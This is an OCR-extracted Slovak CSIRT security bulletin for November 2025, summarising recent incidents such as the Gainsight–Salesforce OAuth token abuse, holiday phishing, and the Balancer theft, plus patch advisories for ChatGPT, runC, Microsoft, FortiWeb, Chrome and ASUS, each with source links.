'/// 'L Spolo¢nost Gainsight potvrdila, Zze SCATTERED LAPSUSS HUNTERS
5 & uspesne zneuzili uniknuté OAuth tokeny z jej aplikacii na
5 Q - kompromitaciu instancii Salesforce ich pouZivatelov. Na podozrivu
- i ’*7’.: aktivitu upozornila spoloénost Salesforce, ktora obratom zneplatnila

e " vsetok kryptograficky materidl z produktov Gainsight a docasne ich

() odstranila z ponukanych integracii. Podobné kroky pre izolaciu

. L A infrastruktury boli vykonané aj zo strany Zendesk, Gong.lo, Hubspot
R ""; a Google. Dostupné su aj I0C, medzi ktorymi je aj User-Agent retazca

% "Salesforce-Mukti-Org-Fetcher/1.0" pouZity v ramci kampane

2 - cielenej na Salesloft Drift. Pouzivatelia by mali vykonat zmenu
e - : prihlasovacich Udajov a kryptografického materialu a preverit vsetky

A, pripojené zariadenia a integracie.



https://www.cloudflarestatus.com/incidents/8gmgl950y3h7
https://blog.cloudflare.com/18-november-2025-outage/
https://blog.cloudflare.com/18-november-2025-outage/
https://www.threatfabric.com/blogs/sturnus-banking-trojan-bypassing-whatsapp-telegram-and-signal
https://www.gainsight.com/blog/supporting-our-customers-and-community-an-update-on-the-recent-security-advisory-related-to-gainsight/
https://www.gainsight.com/blog/supporting-our-customers-and-community-an-update-on-the-recent-security-advisory-related-to-gainsight/
https://www.freepik.com/
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Bezpecnostné firmy varuju
pred rizikami sviato¢nych nakupov

Darktrace, Flashpoint, Forcepoint, Fortinet, Recorded Future a
Zimperium v suvislosti s ndkupnou horuckou pocas sviatocného
obdobia zverejnili prehlad najéastejSich  hrozieb.  Clanky
pojedndvaju o réznych formach podvodov s tematikou Black Friday,
zneuziti QR kodov, darcekovych kariet a zvySenom mnoZstve
phishingovych kampani. Zachyteny bol aj trend zneuzitia Al na
generovanie phishingového obsahu a rovnako aj reklam, ktoré maju
obet zaujat a zvysit pravdepodobnost Uspesnosti Utoku. Utoénici sa
na toto obdobie pripravuju, registruju si domény obsahujiuce
Specifické klucové slova ako Christmas, Black Friday, Flash Sale a
aktivne vyhladavaju a kompromituju zranitelné alebo nespravne
nakonfigurované e-commerce systémy ako Adobe Magento, Oracle
E-Business Suite, Wordpress Woocommerce a dalSie. Odcudzené
bankové a platobné Udaje dokazu utocnici zneuzit kratko po ich
ziskani.
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https://www.darktrace.com/news/phishing-attempts-targeting-black-friday-shoppers-surge-620-in-the-weeks-leading-into-the-holiday-weekend
https://flashpoint.io/blog/flashpoint-2025-threats-holiday-season/
https://www.forcepoint.com/blog/x-labs/black-friday-scams-ai-phishing-guide
https://www.fortinet.com/blog/threat-research/cyberthreats-targeting-2025-holiday-season-what-cisos-need-to-know
https://assets.recordedfuture.com/Reports/Market-Opportunities-and-Advanced-Strategies-Increase-the-Impact-and-Resilience-of-Purchase-Scams.pdf
https://zimperium.com/blog/are-your-employees-putting-your-enterprise-at-risk-this-holiday-season
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e  Hacker ukradol viac ako 120 miliénov USD z DeFi protokolu Balancer, ked priamo zneufzil
chybu v jeho verzii V2.

e  Eurdpske OCTK zadrzali 9 pachatelov podozrivych z prevadzkovania podvodnych
investicnych schém do kryptomien a prania Spinavych penazi.

e  USA uvalili sankcie na 10 subjektov asociovanych s aktivitami severokérejského rezimu.

e  Telekomunikacni operatori v UK uzatvorili strategickl dohodu s britskou vladou, v rdmci
ktorej sa do roka zaviazali implementovat technoldgie na blokovanie falSovania
telefonnych Cisel.

e  Polsky CERT.PL zverejnil analyzu bankového trojana pre Android NGATE, ktory bol
zachyteny v rdmci kampane cielenej na pouzivatelov polskych bank.

e  Australska tajna sluzba upozorfiuje na zvySené riziko utokov na kriticku infrastrukturu.

e  Britskd CAA upozornuje na hrozbu dronovych utokov na letiska.

e  Severokorejski hackeri stojaci za kamparniou Contagious Interview pouzivaju Uloziska
JSON (napr. JSON Keeper, JSONsilo, npoint.io) na dorucovanie malvéru.

e CTM360 zverejnila detailnu analyzu kampane HACKONCHAT zameranej na
kompromitdciu pouzivatelov WhatsApp.

e Britskd tajnd sluzba MIS varuje pred kybernetickymi aktivitami Ciny.
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https://etherscan.io/idm?addresses=0xe07d1a65e683ecb054552a8712b87c322c56edfd,0x506d1f9efe24f0d47853adca907eb8d89ae03207&type=1
https://www.europol.europa.eu/media-press/newsroom/news/global-experts-advance-joint-fight-against-crypto-enabled-crime
https://www.europol.europa.eu/media-press/newsroom/news/global-experts-advance-joint-fight-against-crypto-enabled-crime
https://www.trmlabs.com/resources/blog/us-treasury-sanctions-dprk-bankers-and-front-companies-laundering-proceeds-from-cybercrime-and-it-worker-operations
https://www.gov.uk/government/news/spoofed-numbers-blocked-in-crackdown-on-scammers
https://www.gov.uk/government/news/spoofed-numbers-blocked-in-crackdown-on-scammers
https://cert.pl/en/posts/2025/11/analiza-ngate/
https://www.theregister.com/2025/11/12/asio_cyber_sabotage_warnings/
https://www.theregister.com/2025/11/12/uk_aviation_boss_says_organized/
https://blog.nviso.eu/2025/11/13/contagious-interview-actors-now-utilize-json-storage-services-for-malware-delivery/
https://www.ctm360.com/reports/hackonchat-unmasking-the-whatsapp-hacking-scam
https://www.gov.uk/government/news/action-to-disrupt-and-deter-threats-to-uk-as-mi5-issues-spy-alert
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@ OpenAl

Zranitelnosti ChatGPT umoznovali
unik citlivych udajov cez “indirect
prompt injection”

Bezpecnostni vyskumnici zo spolocnosti Tenable
zverejnili informacie o siedmich zranitefnostiach v
systéme OpenAl ChatGPT, ktoré mohli Utocnikom
umoznit realizaciu tzv. indirect prompt injection
Utokov. Tieto Utoky umoziuju ziskat pristup k citlivym

informaciam pouZivatelov prostrednictvom
manipuldcie vstupov, ktoré model nasledne
spracovava.

HRC]RUNC

Zranitel'nost v kontajneri runC
umoznuje unik z izolovaného
prostredia

Bezpecnostny vyskumnik zo spolo¢nosti SUSE objavil
tri  zranitelnosti, ktoré umozniuju lokalnemu
utocnikovi za urcitych podmienok uniknut z
izolovaného prostredia softvérového kontajneru a
ziskat  administratorské (root) oprdvnenia v
hostitelskom systéme.
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== Microsoft

Microsoft v baliku aktualizacii Patch
Tuesday opravil 5 kritickych a jednu
aktivne zneuzivanu zranitelnost

Spoloénost Microsoft vydala v novembri 2025 balik
oprav pre portfélio svojich produktov opravujici 63
zranitelnosti, z ktorych 5 spolo¢nost oznacila ako
kritické. Tieto umoZriuju vzdialene vykonavat kdd,
ziskat citlivé informacie a eskalovat oprdvnenia. Jedna
vysoko zadvazna zranitelnost je aktivne zneuZivana a
umoziuje eskalovat opravnenia Utocnika.

CACHE

Zranitelnost modulu WordPress W3
Total Cache umoznuje vzdialené
vykonanie prikazov PHP

Vyvojari modulu WordPress W3 Total Cache vydali
bezpecnostné aktualizacie, ktoré opravuju kriticku
zranitelnost. CVE-2025-9501 moZno zneuZit na
vzdialené vykonanie PHP prikazov a ziskanie Uplnej
kontroly nad systémom.


https://csirt.sk/posts/2947.html
https://csirt.sk/posts/2961.html
https://csirt.sk/posts/2961.html
https://csirt.sk/posts/2954.html
https://csirt.sk/posts/2967.html
https://csirt.sk/posts/2967.html
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=:RTINET

Fortinet opravil 2 aktivne zneuzivané
zranitelnosti vo WAF FortiWeb

Spolo¢nost Fortinet vydala bezpecnostné aktualizacie
svojho webového aplikaéného firewallu FortiWeb,
ktoré opravuju 2 aktivne zneuzZivané zero day
zranitelnost. Zranitelnosti s identifikatormi CVE-
2025-64446 a CVE-2025-58034 moZno zneuZit na
ziskanie Uplnej kontroly nad systémom.

G chrome

Google opravil aktivne zneuzivanu
zero-day zranitelnost v prehliadaci
Chrome

Spolo¢nost Google vydala bezpecnostné aktualizacie
pre svoj webovy prehliada¢ Chrome, ktoré opravuju 2
vysoko zavazné zranitelnosti, z coho 1 je oznacena
ako aktivne zneuZivana. CVE-2025-13223 by
vzdialeny neautentifikovany utoc¢nik mohol zneuZit na
vzdialené vykonanie kédu.
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ASUS opravil kriticku zranitelnost
v routeroch série DSL
Spolo¢nost ASUS vydala bezpeénostné aktualizacie
firmvéru routerov série DSL, ktoré opravuju kritickd
zranitelnost. CVE-2025-59367 mozZzno zneuZit na
ziskanie neopravneného pristupu do systému a Uplné

narusenie dbévernosti, integrity a dostupnosti
zariadenia.

== Microsoft

Microsoft v oktébri ukoncil podporu
Exchange Server 2016 a 2019.

Spolo¢nost Microsoft planovane ukoncila 14. oktdbra
2025 podporu pre Exchange Server verzie 2016 a 2019.
Tieto produkty nebudl dalej dostavat aktualizacie
zabezpecenia, opravy chyb, technickl podporu a ani
aktualizacie ¢asovych zon. Spolocnost viak od jula 2025
poskytuje verziu Exchange Server Subscription Edition
(SE), ktord umoznuje zachovat podporovany lokdlny
mailovy server Exchange.
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MESACNIK ZRANITELNOSTi NOVEMBER 2025

VJ CSIRT pravidelne vydava mesacny prehlad kritickych zranitel'nosti.

https://csirt.sk/posts/2980.html

17


https://csirt.sk/mesacny-prehlad-kritickych-a-zavaznych-softverovych-zranitelnosti.html
https://csirt.sk/posts/2980.html

